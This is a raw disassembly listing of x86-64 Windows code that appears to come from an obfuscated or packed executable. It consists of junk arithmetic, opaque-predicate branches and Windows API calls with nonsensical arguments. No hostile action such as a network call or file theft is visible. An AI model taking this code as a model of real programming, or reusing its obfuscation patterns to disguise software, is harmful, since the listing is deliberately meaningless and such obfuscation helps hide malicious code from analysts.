mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
add eax, 0xe1
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
sub eax, 0x7e
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
and eax, 0x37
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
add eax, 0xba
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
sar eax, 7
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
xor eax, 0x8b
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
shl eax, 7
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
or eax, 0x69
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
sub eax, 0xb5
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
and eax, 0x2d
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
add eax, 0x9b
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
sub eax, 0x2b
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
add eax, 0x74
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
sub eax, 0xf
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
add eax, 0xe5
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
sub eax, 0xac
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
sub eax, 0x8a
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
and eax, 0x8c
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
xor eax, 0x7a
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
sar eax, 1
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
or eax, 0x20
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
shl eax, 1
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
add eax, 0x7b
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
add eax, 0xa7
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
and eax, 0x90
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
sub eax, 0x45
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
sub eax, 0x8d
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
add eax, 0xf9
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
sub eax, 0xf6
mov byte [rsp + 0x157], al
cmp dword [rsp + 0x2ed8], 0x85a0
jb 0x140056335
movzx eax, byte [rsp + 0x157]
cmp eax, 0x6b
jg 0x14005675d
movsx eax, word [rsp + 0x9c8]
add eax, 0x671f
mov word [rsp + 0x9c8], ax
mov dword [rsp + 0x2edc], 0x3bb5ca25
mov dword [rsp + 0x2ee0], 0x63f
movabs rax, 0x4a3b0de4f8f249e7
mov qword [rsp + 0x56b8], rax
mov dword [rsp + 0x2ee4], 0x63cc0485
mov rax, qword [rsp + 0x56b8]
mov qword [rsp + 0x56c0], rax
mov dword [rsp + 0x2ee8], 0xe389
lea rax, [rsp + 0x157]
mov qword [rsp + 0x56c8], rax
movabs rax, 0x32ea435f1f751860
mov rcx, qword [rsp + 0x56b8]
add rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x56c0]
jl 0x1400568cf
movzx eax, byte [rsp + 0x157]
mov rcx, qword [rsp + 0x56c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140204008], al
mov rax, qword [rsp + 0x56b8]
mov qword [rsp + 0x56d0], rax
movabs rax, 0x237c544afbc895ea
cmp qword [rsp + 0x56d0], rax
je 0x1400568a5
movabs rax, 0x6e0d1d6344afba95
cmp qword [rsp + 0x56d0], rax
je 0x1400567df
jmp 0x1400568c4
movzx eax, byte [rsp + 0x157]
mov byte [rsp + 0x2eec], al
cmp byte [rsp + 0x2eec], 0x3d
je 0x1400567fa
jmp 0x140056879
movsx eax, word [rsp + 0x9c8]
add eax, 0x1e6
mov word [rsp + 0x9c8], ax
mov dword [rsp + 0x38], 0xdf
mov rax, qword [rsp + 0x56d8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x69
mov dword [rsp + 0x20], 0x76
lea r9, [rsp + 0x56c0]
mov r8d, 0xb6
mov edx, PathMakeUniqueName
lea rcx, [rsp + 0x157]
call qword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [rsp + 0x2ef0], eax
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [0x140204008]
sar eax, cl
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
jmp 0x1400568a3
movzx eax, byte [0x140204008]
mov rcx, qword [rsp + 0x56c8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x157], al
lea rcx, [rsp + 0x157]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
nop
jmp 0x1400568c4
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
shl eax, cl
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov dword [rsp + 0x2ef4], 0x43d4
mov dword [rsp + 0x2ef8], 0xccae
mov dword [rsp + 0x2efc], 0xfe24
cmp dword [rsp + 0x2ee4], 0x7088b4aa
jl 0x140056947
mov rax, qword [rsp + 0x56b8]
mov qword [rsp + 0x56e0], rax
movabs rax, 0x335729ae05cb1ac8
cmp qword [rsp + 0x56e0], rax
je 0x14005692c
movabs rax, 0x55eaf661edac77f5
cmp qword [rsp + 0x56e0], rax
je 0x140056934
jmp 0x140056947
call fcn.1401b8470
nop
jmp 0x140056947
mov eax, dword [rsp + 0x2ee4]
or eax, 0x276657eb
mov dword [rsp + 0x2ee4], eax
mov dword [rsp + 0x2f00], 0xbcd2
mov eax, 0x8ae
mov word [rsp + 0xc98], ax
lea rax, [rsp + 0x2edc]
mov qword [rsp + 0x56e8], rax
mov dword [rsp + 0x2f04], 0x61f6
mov dword [rsp + 0x2f08], 0x5fce
cmp dword [rsp + 0x2f04], 0x3cf2
jbe 0x140056b01
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
and eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x56e8]
mov ecx, dword [rsp + 0x2edc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
movsx eax, word [rsp + 0x9c8]
add eax, 0x608c
mov word [rsp + 0x9c8], ax
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [0x140204008]
and eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
movsx eax, word [rsp + 0x9c8]
sub eax, 0x3590
mov word [rsp + 0x9c8], ax
mov eax, dword [rsp + 0x2edc]
add eax, 0x4a69959e
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
movzx eax, word [rsp + 0xc98]
sub eax, 0xb6a
mov word [rsp + 0xc98], ax
mov rax, qword [rsp + 0x56e8]
mov ecx, dword [rsp + 0x2edc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2f04]
sub eax, 0x67
mov dword [rsp + 0x2f04], eax
mov eax, dword [rsp + 0x2ee4]
add eax, 0x2a4b4544
mov dword [rsp + 0x2ee4], eax
mov eax, dword [rsp + 0x2edc]
or eax, 0x3261fb80
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [0x140204008]
sar eax, cl
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
movabs rax, 0x715fb5ef1ec2ec5
mov rcx, qword [rsp + 0x56b8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x56c0], rax
mov eax, dword [rsp + 0x2edc]
shl eax, 1
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
movsx eax, word [rsp + 0x9c8]
and eax, 0x322f
mov word [rsp + 0x9c8], ax
jmp 0x140056985
mov byte [rsp + 0x158], ILClone
mov eax, dword [rsp + 0x2edc]
mov dword [rsp + 0x2f0c], eax
cmp dword [rsp + 0x2f0c], 0x64c3f700
je 0x140056b29
jmp 0x1401b7536
mov rax, qword [rsp + 0x56e8]
mov ecx, dword [rsp + 0x2edc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2edc]
and eax, 0xde0b13d1
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [0x140204008]
add eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
sub eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
movzx eax, byte [0x140204008]
mov rcx, qword [rsp + 0x56c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x157], al
movzx eax, byte [0x140204008]
mov rcx, qword [rsp + 0x56c8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x157], al
movzx eax, word [rsp + 0xc98]
sar eax, 3
mov word [rsp + 0xc98], ax
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [0x140204008]
xor eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
movsx eax, word [rsp + 0x9c8]
shl eax, 1
mov word [rsp + 0x9c8], ax
mov rax, qword [rsp + 0x56e8]
mov ecx, dword [rsp + 0x2edc]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
and eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov eax, dword [rsp + 0x2ee4]
sub eax, 0xae9ebd1
mov dword [rsp + 0x2ee4], eax
movabs rax, 0x64eb327804de212
mov rcx, qword [rsp + 0x56b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x56c0], rax
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [0x140204008]
sub eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x158]
add eax, 0x3e
mov byte [rsp + 0x158], al
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
add eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [0x140204008]
and eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
movsx eax, word [rsp + 0x9c8]
sub eax, 0x16c9
mov word [rsp + 0x9c8], ax
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [0x140204008]
add eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov eax, dword [rsp + 0x2f08]
add eax, 0x39
mov dword [rsp + 0x2f08], eax
mov rax, qword [rsp + 0x56e8]
mov ecx, dword [rsp + 0x2edc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2ee4]
sar eax, 0x1c
mov dword [rsp + 0x2ee4], eax
movsx eax, byte [rsp + 0x158]
xor eax, 0x67
mov byte [rsp + 0x158], al
movsx eax, byte [rsp + 0x158]
shl eax, 2
mov byte [rsp + 0x158], al
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
or eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
and eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [0x140204008]
add eax, ecx
mov byte [rsp + 0x157], al
movsx eax, word [rsp + 0x9c8]
sub eax, 0x6822
mov word [rsp + 0x9c8], ax
mov rax, qword [rsp + 0x56e8]
mov ecx, dword [rsp + 0x2edc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [0x140204008]
sub eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
sub eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [0x140204008]
add eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
and eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
movzx eax, byte [0x140204008]
mov rcx, qword [rsp + 0x56c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x157], al
mov rax, qword [rsp + 0x56e8]
mov ecx, dword [rsp + 0x2edc]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
movsx eax, word [rsp + 0x9c8]
sar eax, 0xc
mov word [rsp + 0x9c8], ax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
or eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
shl eax, cl
mov byte [0x140204008], al
mov rax, qword [rsp + 0x56e8]
mov eax, dword [rax]
add eax, 0x219254af
mov dword [rsp + 0x2edc], eax
mov rax, qword [rsp + 0x56e8]
mov eax, dword [rax]
and eax, 0xbc1315fb
mov dword [rsp + 0x2edc], eax
cmp dword [rsp + 0x2f08], 0x6d9c
jb 0x140056b29
movsx eax, word [rsp + 0x9c8]
cmp eax, 0x6081
jl 0x140056f63
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [0x140204008]
add eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
movabs rax, 0xd238f5d973d83bef
mov qword [rsp + 0x56f0], rax
movzx eax, byte [rsp + 0x158]
mov byte [rsp + 0x159], al
mov dword [rsp + 0x2f10], 0xd8ac
lea rax, [rsp + 0xc98]
mov qword [rsp + 0x56f8], rax
mov dword [rsp + 0x2f14], 0xe8b3
movsx eax, word [rsp + 0x9c8]
sub eax, 0x7a4c
mov word [rsp + 0xa70], ax
mov dword [rsp + 0x2f18], 0xc96f
movzx eax, byte [rsp + 0x158]
mov byte [rsp + 0x15a], al
mov eax, dword [rsp + 0x2ee4]
mov dword [rsp + 0x2f1c], eax
cmp dword [rsp + 0x2f1c], 0x4c495c4e
je 0x140056ff9
jmp 0x1400570a5
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
sub eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov eax, dword [rsp + 0x2ee4]
mov dword [rsp + 0x2f20], eax
cmp dword [rsp + 0x2f20], 0xdb0146d
je 0x14005708b
cmp dword [rsp + 0x2f20], 0x376ec2ba
je 0x140057042
jmp 0x1400570a0
mov ecx, ILClone
call qword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov dword [rsp + 0x2f24], eax
mov rax, qword [rsp + 0x56e8]
mov eax, dword [rax]
sub eax, 0x80a87ee3
mov dword [rsp + 0x2edc], eax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
add eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
jmp 0x1400570a0
mov rcx, qword [rsp + 0x5700]
call qword [sym.imp.KERNEL32.dll_FindCloseChangeNotification]
mov dword [rsp + 0x2f28], eax
jmp 0x1401b74fc
movabs rax, 0x1c3595ddc7042e5a
mov rcx, qword [rsp + 0x56c0]
sub rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x56b8]
je 0x1401b7450
movsx eax, word [rsp + 0xa70]
shl eax, 0x75
movsx ecx, word [rsp + 0x9c8]
cmp eax, ecx
jge 0x1400571d6
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
add eax, ecx
movzx ecx, byte [0x140204008]
cmp eax, ecx
jne 0x1400571d0
movsx eax, word [rsp + 0xa70]
mov dword [rsp + 0x2f2c], eax
cmp dword [rsp + 0x2f2c], 0xffff85ac
je 0x140057138
cmp dword [rsp + 0x2f2c], 0x2282
je 0x140057189
jmp 0x1400571c3
mov eax, dword [rsp + 0x2edc]
mov dword [rsp + 0x2f30], eax
cmp dword [rsp + 0x2f30], 0xaace95be
je 0x140057155
jmp 0x140057187
lea rcx, [rsp + 0x56e8]
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov qword [rsp + 0x5708], rax
mov eax, dword [rsp + 0x2edc]
add eax, 0xccbdd3f1
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
call fcn.1401b7fd0
nop
jmp 0x1400571c3
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
and eax, ecx
mov byte [0x140204008], al
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
sub eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov dword [rsp + 0x2f34], 0xba62
jmp 0x1400571d6
call fcn.1401b7fd0
nop
movsx eax, word [rsp + 0xa70]
mov dword [rsp + 0x2f38], eax
cmp dword [rsp + 0x2f38], 0xffff85ac
je 0x1400571f7
jmp 0x1400572a8
lea rax, [rsp + 0x2edc]
mov qword [rsp + 0x5710], rax
mov rax, qword [rsp + 0x56e8]
mov rcx, qword [rsp + 0x5710]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
cmp eax, dword [rsp + 0x2edc]
jae 0x1400572a3
lea rdx, str.Skewer_Stubble_hatch
lea rcx, [rsp + 0x21ef0]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov dword [rsp + 0x2f3c], eax
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [0x140204008]
sub eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
mov byte [rsp + 0x2f40], al
cmp byte [rsp + 0x2f40], 0xc1
je 0x14005727b
jmp 0x14005729d
movabs rax, 0xb453f80347a59c2
mov rcx, qword [rsp + 0x56b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x56c0], rax
jmp 0x1400572a3
call fcn.1401b75d0
nop
jmp 0x140057374
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
add eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x56f0]
mov qword [rsp + 0x5718], rax
movabs rax, 0x4e8dd2164752cce7
cmp qword [rsp + 0x5718], rax
je 0x140057357
movabs rax, 0x93e52de3255dee47
cmp qword [rsp + 0x5718], rax
je 0x140057301
jmp 0x140057374
movsx eax, byte [rsp + 0x15a]
movsx ecx, byte [rsp + 0x159]
sub eax, ecx
mov byte [rsp + 0x158], al
mov r8d, 0xe6
lea rdx, [rsp + 0x56f8]
lea rcx, [rsp + 0x5710]
call qword [sym.imp.KERNEL32.dll_QueueUserWorkItem]
mov dword [rsp + 0x2f24], eax
movzx eax, word [rsp + 0xc98]
sub eax, 0x30a
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
jmp 0x140057374
lea rdx, [rsp + 0x22ac0]
lea rcx, str.pinball_smuts
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rsp + 0x5700], rax
movzx eax, word [rsp + 0xc98]
mov word [rsp + 0xc9c], ax
mov dword [rsp + 0x2f44], 0xdbc0
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
add eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
movabs rax, 0x1322683cc8847ab6
mov rcx, qword [rsp + 0x56b8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x56c0], rax
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [0x140204008]
sar eax, cl
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5710]
mov ecx, dword [rsp + 0x2edc]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x5710]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [0x140204008]
shl eax, cl
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
movzx eax, word [rsp + 0xc98]
movzx ecx, word [rsp + 0xc9c]
and eax, ecx
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
movsx eax, word [rsp + 0xa70]
add eax, 0x5aa4
mov word [rsp + 0x9c8], ax
mov rax, qword [rsp + 0x56f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc9c]
sub eax, ecx
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
and eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov eax, dword [rsp + 0x2ef4]
add eax, 0xdd
mov dword [rsp + 0x2ef4], eax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
sub eax, ecx
mov byte [0x140204008], al
movabs rax, 0x44c0a89d70b6c469
mov rcx, qword [rsp + 0x56c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x56b8], rax
mov rax, qword [rsp + 0x56e8]
mov ecx, dword [rsp + 0x2edc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
sub eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
movabs rax, 0x434d865729ac4647
mov rcx, qword [rsp + 0x56f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x56f0], rax
movzx eax, byte [0x140204008]
mov rcx, qword [rsp + 0x56c8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x157], al
movsx eax, word [rsp + 0xa70]
shl eax, 0xb
mov word [rsp + 0x9c8], ax
mov rax, qword [rsp + 0x56e8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2edc]
shr eax, cl
mov rcx, qword [rsp + 0x5710]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [0x140204008]
or eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2edc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
movabs rax, 0x7cb4937295f534e7
mov rcx, qword [rsp + 0x56f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x56f0], rax
mov rax, qword [rsp + 0x5710]
mov rcx, qword [rsp + 0x56e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2edc], eax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
sub eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
cmp dword [rsp + 0x2ef4], 0x69d0
jne 0x14005738f
cmp dword [rsp + 0x2f44], 0xdaac
jbe 0x1400578c3
movabs rax, 0x4293119b53950208
mov rcx, qword [rsp + 0x56c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x56b8], rax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
and eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
movsx eax, word [rsp + 0xa70]
sub eax, 0x22e6
mov word [rsp + 0x9c8], ax
movsx eax, byte [rsp + 0x15a]
movsx ecx, byte [rsp + 0x159]
add eax, ecx
mov byte [rsp + 0x158], al
mov eax, dword [rsp + 0x2f44]
sub eax, 0xc
mov dword [rsp + 0x2f44], eax
movzx eax, word [rsp + 0xc9c]
mov rcx, qword [rsp + 0x56f8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc98], ax
movzx eax, byte [rsp + 0x157]
mov rcx, qword [rsp + 0x56c8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140204008], al
mov rax, qword [rsp + 0x5710]
mov ecx, dword [rsp + 0x2edc]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [0x140204008]
sar eax, cl
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
movabs rax, 0x3f3726060ea3d66a
mov rcx, qword [rsp + 0x56b8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x56c0], rax
mov rax, qword [rsp + 0x5710]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x56e8]
mov qword [rsp + 0x5720], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5720]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2edc], eax
movabs rax, 0x700904b01d0e0283
mov rcx, qword [rsp + 0x56f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x56f0], rax
movzx eax, word [rsp + 0xc98]
movzx ecx, word [rsp + 0xc9c]
add eax, ecx
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [0x140204008]
add eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
movzx eax, word [rsp + 0xc9c]
movzx ecx, word [rsp + 0xc98]
sub eax, ecx
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
add eax, ecx
mov byte [0x140204008], al
movzx eax, word [rsp + 0xc9c]
movzx ecx, word [rsp + 0xc98]
sub eax, ecx
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
movabs rax, 0x1f04aab705236852
mov rcx, qword [rsp + 0x56c0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x56b8], rax
mov rax, qword [rsp + 0x5710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2edc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x56e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2edc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5710]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [0x140204008]
sub eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
movsx eax, word [rsp + 0x9c8]
or eax, 0x441e
mov word [rsp + 0xa70], ax
jmp 0x140057631
lea rax, [rsp + 0xc98]
mov qword [rsp + 0x5728], rax
movzx eax, byte [rsp + 0x157]
mov byte [rsp + 0x15b], al
mov rax, qword [rsp + 0x56b8]
mov qword [rsp + 0x5730], rax
movabs rax, 0x284c21feb37e180
cmp qword [rsp + 0x5730], rax
je 0x14005791f
movabs rax, 0x3c61c4d918063fae
cmp qword [rsp + 0x5730], rax
je 0x140057984
jmp 0x140057a35
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
xor eax, ecx
mov byte [0x140204008], al
mov rax, qword [rsp + 0x5728]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc9c]
sar eax, cl
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
lea r8, [rsp + 0x56d8]
lea rdx, [rsp + 0x15b]
mov rcx, qword [rsp + 0x5738]
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov dword [rsp + 0x2f48], eax
jmp 0x140057a35
mov eax, dword [rsp + 0x2edc]
mov rcx, qword [rsp + 0x5710]
mov qword [rsp + 0x5740], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5740]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
movsx eax, word [rsp + 0xa70]
mov dword [rsp + 0x2f4c], eax
cmp dword [rsp + 0x2f4c], 0x1778
je 0x1400579d2
jmp 0x140057a2f
movabs rax, 0xe07f690ca0cc210d
mov rcx, qword [rsp + 0x56f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x56f0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x5738], rax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15b]
sub eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov eax, dword [rsp + 0x2ee4]
mov dword [rsp + 0x2f3c], eax
